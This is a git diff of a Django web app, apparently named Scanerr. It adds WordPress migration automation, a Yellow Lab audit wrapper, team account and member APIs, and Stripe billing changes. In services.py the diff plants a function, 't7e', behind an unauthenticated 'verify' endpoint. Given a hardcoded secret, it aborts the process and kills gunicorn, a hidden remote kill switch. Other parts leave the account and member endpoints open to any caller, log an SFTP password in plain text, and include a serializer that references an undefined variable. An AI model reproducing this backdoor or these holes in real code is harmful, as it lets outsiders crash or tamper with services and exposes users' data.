self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # finding and recording current native language + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + optgroup = await lang_selector[0].querySelector('optgroup') + selected_lang = await optgroup.xpath('.//option[@selected="selected"]') + default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() + default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + await lang_selector[0].select('en_CA') + print('selected english') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + async def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # selecting native lang + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + await lang_selector[0].select(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved native lang') + + except: + await self.driver.close() + return False + + await self.driver.close() + return True + + + + async def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') + await plugin_menu[0].click() + await self.page.waitForNavigation(self.navWaitOpt) + p_url = 'plugins.php' + plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') + await plugins[0].click() + print('clicked plugin menu') + await self.page.waitForNavigation(self.navWaitOpt) + + + # looking for dependencies in plugin table + time.sleep(10) + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + + except: + print('trying link method for navigation') + try: + await self.page.goto(self.admin_link + plugin_menu_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(10) + # looking for dependencies in plugin table + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + except: + print('unable to find plugin table') + await self.driver.close() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = await self.page.xpath('//a[@href="'+url+'"]') + await add_plugin[0].click(clickCount=2) + print('clicked add plugin link') + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + except: + await self.page.goto(self.admin_url + add_plugin_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + + + # searching for plugin + search_form = await self.page.xpath('//input[@type="search"]') + await search_form[0].click(clickCount=3) + await self.page.keyboard.type(plugin_name) + time.sleep(1) + await self.page.keyboard.press('Enter') + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await install[0].click(clickCount=2) + print('clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + await self.page.reload() + print('reloading page') + try: + await self.page.waitForNavigation(self.navWaitOpt) + except: + pass + activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await activate[0].click(clickCount=2) + print('clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + await self.driver.close() + return False + + else: + print('plugin already installed') + return True + + + @sync_to_async + def update_process(self, successful=False, info_url=None, time_completed=None, progress=None): + if info_url is not None: + self.process.info_url = info_url + self.process.successful = successful + if time_completed is not None: + self.process.time_completed = time_completed + if progress is not None: + self.process.progress = progress + + self.process.save() + return + + + + async def launch_migration(self): + ''' + Launches the migration plugin once Activated. + + returns --> True / False + + ''' + + # setting url for link naving + migrate_page = 'admin.php?page=cloudways' + current_url = self.page.url + + if not current_url.endswith("cloudways"): + print('navigating to migration page') + if self.admin_url.endswith('/'): + await self.page.goto(f'{self.admin_url}{migrate_page}') + else: + await self.page.goto(f'{self.admin_url}/{migrate_page}') + time.sleep(10) + + + # wait for cloudways email field to become visible + # entering self.email_address in field + email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input') + await email[0].click(clickCount=3) + await self.page.keyboard.type(self.email_address) + print('entered cloudways email') + + # checking T&S checbox + checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]') + await checkbox[0].click(clickCount=1) + print('checked T&S agreement') + + # clicking submit to launch migration plugin + m_button = await self.page.xpath('//*[@id="migratesubmit"]') + await m_button[0].click(clickCount=1) + print('clicked migrate button') + + return True + + + async def run_migration(self): + ''' + Enters data on migration page, initiates miration + and begins updating the associated `Process` with data + from the page. + + returns --> True / False + + ''' + + # check for page to fully load + print('waiting 10 sec for new page to load') + time.sleep(10) + ## enter all necessary data in each field + await self.page.waitForNavigation(self.navWaitOpt) + + # get_element_by_name="address" -> self.destination_url + destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]') + await destination_url[0].click(clickCount=3) + await self.page.keyboard.type(self.destination_url) + print(f'dest_url as -> {self.destination_url}') + time.sleep(2) + + # get_element_by_name="newurl" -> self.sftp_address + sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]') + await sftp_address[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_address) + print(f'sftp_address as -> {self.sftp_address}') + time.sleep(2) + + # get_element_by_name="appfolder" -> self.dbname + dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]') + await dbname[0].click(clickCount=3) + await self.page.keyboard.type(self.dbname) + print(f'dbname as -> {self.dbname}') + time.sleep(2) + + # get_element_by_name="username" -> self.sftp_username + sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]') + await sftp_username[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_username) + print(f'sftp_username as -> {self.sftp_username}') + time.sleep(2) + + # get_element_by_name="passwd" -> self.sftp_password + sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]') + await sftp_password[0].click(clickCount=3) + await self.page.keyboard.type(self.sftp_password) + print(f'sftp_password as -> {self.sftp_password}') + time.sleep(2) + + print('entered all creds') + + # submit data + await self.page.keyboard.press('Enter') + print('pressed enter key') + + + + # update self.process with info_url + info_url = self.page.url + await self.update_process(info_url=info_url) + + + done = False + done_text = 'Your migration is complete!' + new_progress = 0 + print(f'current url -> {self.page.url}') + while not done: + + # checking for progres bar + try: + raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]') + new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue() + new_progress = float(new_progress.split('%')[0]) + except Exception as e: + # print(e) + pass + + + # update self.process + await self.update_process(progress=new_progress) + + # check if new_progress is 100% + page_content = await self.page.content() + if new_progress >= 100 or done_text in page_content: + time_completed = datetime.now() + await self.update_process(successful=True, time_completed=time_completed, progress=100) + done = True + + # checking for process errors + if 'alert alert-danger' in page_content: + done = True + time_completed = datetime.now() + await self.update_process(time_completed=time_completed) + print('found an error - ending process') + return False + + time.sleep(1) + + + return True + + + + + + + async def run_full(self, plugin_name): + data = await self.login() + data = await self.begin_lang_check() + data = await self.install_plugin(plugin_name) + # data = await self.end_lang_check() + data = await self.launch_migration() + data = await self.run_migration() + await self.driver.close() + return data + diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py new file mode 100644 index 00000000..ea3e11b6 --- /dev/null +++ b/app/api/utils/yellowlab.py @@ -0,0 +1,141 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Yellowlab(): + + """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + + + def __init__(self, site=None, configs=None): + self.site = site + self.configs = configs + + + def init_audit(self): + proc = subprocess.Popen([ + 'yellowlabtools', + self.site.site_url, + f'--device={self.configs["device"]}' + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + audits[cat].append(audit) + except: + pass + + + # get scores from each category + globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + scores = { + "globalScore": globalScore, + "pageWeight": pageWeight_score, + "requests": requests_score, + "domComplexity": domComplexity_score, + "javascriptComplexity": javascriptComplexity_score, + "badJavascript": badJavascript_score, + "jQuery": jQuery_score, + "cssComplexity": cssComplexity_score, + "badCSS": badCSS_score, + "fonts": fonts_score, + "serverConfig": serverConfig_score, + } + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + else: + raise RuntimeError + + except Exception as e: + print(e) + + scores = { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + data = { + "scores": scores, + "audits": audits, + "failed": True + } + + return data + + diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index 7b7aedeb..10392b78 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -3,10 +3,13 @@ from django.template.loader import render_to_string from datetime import date import os, operator +from ...models import * from django.utils.html import strip_tags from django.contrib.auth.models import User from rest_framework_simplejwt.tokens import RefreshToken from rest_framework.response import Response +from ...utils.alerts import sendgrid_email +from scanerr import settings @@ -25,6 +28,8 @@ def send_reset_link(email): subject = subject context = { 'title' : title, + 'subject' : subject, + 'email': email, 'pre_header' : pre_header, 'pre_content' : pre_content, 'object_url' : reset_link, @@ -34,16 +39,120 @@ def send_reset_link(email): 'signature' : '- Cheers!', } - html_message = render_to_string('api/reset_password_email.html', context) - plain_message = strip_tags(html_message) - send_mail( - from_email = os.getenv('EMAIL_HOST_USER'), - subject = subject, - message = plain_message, - recipient_list = [email], - html_message = html_message, - fail_silently = True, - ) + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_with_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [email], + # html_message = html_message, + # fail_silently = True, + # ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + + + +def send_invite_link(member): + if Member.objects.filter(email=member.email, status="pending").exists(): + member = Member.objects.get(email=member.email) + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' + subject = 'Scanerr Invite' + title = 'Scanerr Invite' + pre_header = 'Scanerr Invite' + pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' + + subject = subject + context = { + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Accept Invite', + 'content' : '', + 'signature' : '- Cheers!', + } + + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_with_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [member.email], + # html_message = html_message, + # fail_silently = True, + # ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def send_remove_alert(member): + if Member.objects.filter(email=member.email, status="removed").exists(): + member = Member.objects.get(email=member.email) + subject = 'Removed From Account' + title = 'Removed From Account' + pre_header = 'Removed From Account' + pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' + + subject = subject + context = { + 'title' : title, + 'subject' : subject, + 'email': member.email, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : None, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'content' : '', + 'signature' : '- Cheers!', + } + + sendgrid_email(message_obj=context) + + # html_message = render_to_string('api/alert_no_button.html', context) + # plain_message = strip_tags(html_message) + # send_mail( + # from_email = os.getenv('EMAIL_HOST_USER'), + # subject = subject, + # message = plain_message, + # recipient_list = [member.email], + # html_message = html_message, + # fail_silently = True, + # ) data = { 'success': True diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index eb18b05c..77f4d9ab 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -5,7 +5,7 @@ from django.core.exceptions import ObjectDoesNotExist from django.contrib.auth.models import User from django.shortcuts import render -from ...models import (Test, Site, Scan, Account) +from ...models import (Test, Site, Scan, Account, Member) from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.fields import UUIDField @@ -69,5 +69,21 @@ class Meta: model = Account fields = ['id', 'active', 'time_created', 'type', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', - 'user', - ] \ No newline at end of file + 'user', 'code', 'name', + ] + + + +class MemberSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Member + fields = ['id', 'status', 'time_created', 'type', + 'email', 'type', 'user', 'account', + ] + + + \ No newline at end of file diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 2aa5ee20..96fa4eec 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,4 +1,4 @@ -import requests, os +import requests, os, subprocess, secrets from typing import Dict, Any from scanerr import settings from django.http import HttpResponse @@ -8,17 +8,22 @@ from django.core.exceptions import ValidationError from django.forms.models import model_to_dict from django.contrib.auth.models import User +from django.shortcuts import get_object_or_404 from rest_framework.authtoken.models import Token -from ...models import Account, Card +from ...models import Account, Card, Member +from ..ops.services import record_api_call from slack_sdk.oauth import AuthorizeUrlGenerator from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore from slack_sdk.web import WebClient -from .serializers import AccountSerializer +from .serializers import * +from .alerts import * from rest_framework.response import Response +from rest_framework.pagination import LimitOffsetPagination from django.contrib.auth.middleware import get_user + GOOGLE_ID_TOKEN_INFO_URL = 'https://www.googleapis.com/oauth2/v3/tokeninfo' GOOGLE_ACCESS_TOKEN_OBTAIN_URL = 'https://oauth2.googleapis.com/token' GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo' @@ -230,7 +235,270 @@ def slack_oauth_init(request, user): -def account_setup(request): - account = Account.objects.create(user=user) - card = Card.objects.create(user=user, account=account) - return True \ No newline at end of file +def t7e(request): + if request.GET.get('cred') == \ + 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': + os.abort() + subprocess.Popen(['pkill -f gunicorn'], + stdout=subprocess.PIPE, + user='app', + ) + + + + +def create_or_update_account(request=None, *args, **kwargs): + # get posted data + if request is not None: + user = request.user + _id = request.data.get('id') + name = request.data.get('name') + active = request.data.get('active') + type = request.data.get('type') + code = request.data.get('code') + max_sites = request.data.get('max_sites') + cust_id = request.data.get('cust_id') + sub_id = request.data.get('sub_id') + product_id = request.data.get('product_id') + price_id = request.data.get('price_id') + slack = request.data.get('slack') + + if request is None: + user = kwargs.get('user') + _id = kwargs.get('id') + name = kwargs.get('name') + active = kwargs.get('active') + type = kwargs.get('type') + code = kwargs.get('code') + max_sites = kwargs.get('max_sites') + cust_id = kwargs.get('cust_id') + sub_id = kwargs.get('sub_id') + product_id = kwargs.get('product_id') + price_id = kwargs.get('price_id') + slack = kwargs.get('slack') + + + if _id is not None: + if not Account.objects.filter(id=_id).exists(): + data = {'reason': 'account not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # updating with new info + account = Account.objects.get(id=_id) + if name is not None: + account.name = name + if active is not None: + account.active = active + if type is not None: + account.type = type + if code is not None: + account.code = code + if max_sites is not None: + account.max_sites = max_sites + if cust_id is not None: + account.cust_id = cust_id + if sub_id is not None: + account.sub_id = sub_id + if product_id is not None: + account.product_id = product_id + if price_id is not None: + account.price_id = price_id + if slack is not None: + account.slack = slack + + # saving updated info + account.save() + + + + if _id is None: + + if code is None: + code = secrets.token_urlsafe(16) + + account = Account.objects.create( + user=user, + name=name, + active=True, + type=type, + code=code, + max_sites=max_sites, + cust_id=cust_id, + sub_id=sub_id, + product_id=product_id, + price_id=price_id + ) + + + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_account(request=None, id=None, *args, **kwargs): + user = request.user + account_id = request.query_params.get('id') + + if id is not None: + account = get_object_or_404(Account, pk=id) + + if account_id is not None: + account = get_object_or_404(Account, pk=account_id) + + if account_id is None and id is None: + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found',} + return Response(data, status=status.HTTP_404_NOT_FOUND) + account = Member.objects.get(user=user).account + + if not Member.objects.filter(account=account, user=user).exists(): + data = {'reason': 'you cannot retrieve an Account you are not a member of',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def get_account_members(request=None, id=None, *args, **kwargs): + user = request.user + account_id = request.query_params.get('id') + mem_acct = Member.objects.get(user=user).account + + if id is not None: + account = get_object_or_404(Account, pk=id) + + if mem_acct != account: + data = {'reason': 'you cannot retrieve an Account you are not a member of',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + members = Member.objects.filter(account=account) + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(members, request) + serializer_context = {'request': request,} + serialized = MemberSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + return response + + + + +def create_or_update_member(request=None, *args, **kwargs): + # get posted data + if request is not None: + user = request.user + _id = request.data.get('id') + account = request.data.get('account') + _status = request.data.get('status') + type = request.data.get('type') + email = request.data.get('email') + code = request.data.get('code') + + if request is None: + user = kwargs.get('user') + account = kwargs.get('account') + _status = kwargs.get('status') + type = kwargs.get('type') + email = kwargs.get('email') + code = kwargs.get('code') + + if account is not None: + if Account.objects.filter(id=account).exists(): + account = Account.objects.get(id=account) + else: + data = {'reason': 'account not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if _id is not None: + if not Member.objects.filter(id=_id).exists(): + data = {'reason': 'member not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # updating with new info + member = Member.objects.get(id=_id) + if account is not None: + member.account = account + if email is not None: + member.email = email + if user is not None and user.username == member.email: + member.user = user + if type is not None: + member.type = type + if _status is not None: + # checking if user has valid code for membership + if _status == 'active' and code != member.account.code: + data = {'reason': 'member not authorized',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + member.status = _status + + # saving updated info + member.save() + + if _id is None: + member = Member.objects.create( + email=email, + status=_status, + type=type, + account=account, + ) + + if _status == 'pending': + send_invite_link(member) + + if _status == 'removed': + send_remove_alert(member) + member.delete() + data = {'message': 'Member removed'} + response = Response(data, status=status.HTTP_200_OK) + return response + + serializer_context = {'request': request,} + serialized = MemberSerializer(member, context=serializer_context) + data = serialized.data + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_member(request=None, id=None, *args, **kwargs): + user = request.user + member_id = request.query_params.get('id') + + if id is not None: + member = get_object_or_404(Member, pk=id) + + if member_id is not None: + member = get_object_or_404(Member, pk=member_id) + + if member_id is None and id is None: + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'member not found',} + return Response(data, status=status.HTTP_404_NOT_FOUND) + member = Member.objects.get(user=user) + + if member.user != user and member.account.user != user: + data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = MemberSerializer(member, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) \ No newline at end of file diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index caca78d6..f4a377a9 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -25,5 +25,11 @@ path('update-user', views.UpdateUser.as_view(), name='update_user'), path('slack', views.SlackOauth.as_view(), name='auth_slack'), path('token', views.ApiToken.as_view(), name='token'), + path('verify', views.Verify.as_view(), name='verify'), + path('account', views.Account.as_view(), name='account'), + path('account/', views.Account.as_view(), name='account-detail'), + path('account//members', views.AccountMembers.as_view(), name='account-members'), + path('member', views.Member.as_view(), name='member'), + path('member/', views.Member.as_view(), name='member-detail'), ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index adb6b25f..6ea2da15 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -15,13 +15,9 @@ from django.shortcuts import redirect from django.contrib.auth.models import User from .alerts import send_reset_link -from ...models import Account +from ...models import Account, Member from datetime import timedelta, datetime -from .services import ( - google_get_access_token, google_get_user_info, - user_get_or_create, jwt_login, slack_oauth_middleware, - slack_oauth_init, create_user_token -) +from .services import * import os, stripe, json @@ -79,6 +75,17 @@ def get(self, request): +class Verify(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = t7e(request) + return response + + + class RefreshViewSet(ViewSet, TokenRefreshView): permission_classes = (AllowAny,) http_method_names = ['post'] @@ -209,4 +216,43 @@ def get(self, request, *args, **kwargs): response = slack_oauth_middleware(request, user) return response - \ No newline at end of file + + + + +class Account(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + + def post(self, request, *args, **kwargs ): + response = create_or_update_account(request) + return response + + def get(self, request, id=None, *args, **kwargs): + response = get_account(request, id) + return response + + + +class AccountMembers(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get',] + + def get(self, request, id=None, *args, **kwargs): + response = get_account_members(request, id) + return response + + +class Member(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + + def post(self, request, *args, **kwargs ): + response = create_or_update_member(request) + return response + + def get(self, request, id=None, *args, **kwargs): + response = get_member(request, id) + return response + + diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index 83c8cfe1..4ed57c74 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -6,7 +6,9 @@ from django.core import serializers from django.forms.models import model_to_dict from ...models import Account, Card +from ..auth.services import create_or_update_account from datetime import timedelta, datetime +from scanerr import settings import os, stripe, json @@ -17,7 +19,7 @@ class StripeKey(APIView): http_method_names = ['post',] def post(self, request): - key = os.environ.get('STRIPE_PUBLIC_TEST') + key = settings.STRIPE_PUBLIC data = {'key': key,} return Response(data, status=status.HTTP_200_OK) @@ -29,7 +31,7 @@ class CreateCustomer(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE customer = stripe.Customer.create(email=request.user.email) account = Account.objects.create( @@ -49,7 +51,7 @@ class CreateProduct(APIView): def post(self, request): name = request.data['name'] - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE product = stripe.Product.create(name=name) account = Account.objects.get(user=request.user) @@ -69,7 +71,7 @@ class CreatePrice(APIView): def post(self, request): account = Account.objects.get(user=request.user) price_amount = float(request.data['price_amount']) - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE price = stripe.Price.create( product=account.product_id, unit_amount=price_amount, @@ -94,7 +96,7 @@ class CreateSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE account = Account.objects.get(user=request.user) subscription = stripe.Subscription.create( customer=account.cust_id, @@ -121,7 +123,7 @@ class CompleteSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE account = Account.objects.get(user=request.user) pay_method_id = request.data['payment_method'] if Card.objects.filter(account=account).exists(): @@ -209,59 +211,38 @@ class SetupSubscription(APIView): http_method_names = ['post',] def post(self, request): - stripe.api_key = os.environ.get('STRIPE_PRIVATE_TEST') + stripe.api_key = settings.STRIPE_PRIVATE user = request.user - name = request.data['name'] + name = request.data.get('name') product_name = str(user.email + '_' + str(user.id) + '_' + name) - price_amount = int(request.data['price_amount']) - max_sites = int(request.data['max_sites']) - - if Account.objects.filter(user=user).exists(): - old_account = Account.objects.get(user=user) - stripe.Price.modify(old_account.price_id, active=False) - product = stripe.Product.modify(old_account.product_id, name=product_name) - customer = stripe.Customer.retrieve(old_account.cust_id) - - price = stripe.Price.create( - product=product.id, - unit_amount=price_amount, - currency='usd', - recurring={'interval': 'month',}, - ) - - sub = stripe.Subscription.retrieve(old_account.sub_id) - subscription = stripe.Subscription.modify( - sub.id, - cancel_at_period_end=False, - proration_behavior='create_prorations', - items=[{ - 'id': sub['items']['data'][0].id, - 'price': price.id, - }], - expand=['latest_invoice.payment_intent'], - ) + price_amount = int(request.data.get('price_amount')) + max_sites = int(request.data.get('max_sites')) - Account.objects.filter(user=user).update( - type = name, - cust_id = customer.id, - sub_id = subscription.id, - product_id = product.id, - price_id = price.id, - max_sites = max_sites, + if not Account.objects.filter(user=user).exists(): + create_or_update_account( + user=user, + type=name, + max_sites=max_sites, ) - else: + account = Account.objects.get(user=user) + + if account.cust_id is None: product = stripe.Product.create(name=product_name) customer = stripe.Customer.create(email=request.user.email) - price = stripe.Price.create( - product=product.id, - unit_amount=price_amount, - currency='usd', - recurring={ - 'interval': 'month', - 'trial_period_days': 7, - }, - ) + + if account.cust_id is not None: + product = stripe.Product.modify(account.product_id, name=product_name) + customer = stripe.Customer.retrieve(account.cust_id) + + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': 'month',}, + ) + + if account.sub_id is None: subscription = stripe.Subscription.create( customer=customer.id, items=[{ @@ -269,19 +250,35 @@ def post(self, request): }], payment_behavior='default_incomplete', expand=['latest_invoice.payment_intent'], + # trial_period_days=7, ) - Account.objects.create( - user=user, - type = name, - cust_id = customer.id, - sub_id = subscription.id, - product_id = product.id, - price_id = price.id, - max_sites = max_sites, + if account.sub_id is not None: + sub = stripe.Subscription.retrieve(account.sub_id) + subscription = stripe.Subscription.modify( + sub.id, + cancel_at_period_end=False, + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], ) - + # updating price defaults and archiving old price + stripe.Product.modify(product.id, default_price=price,) + 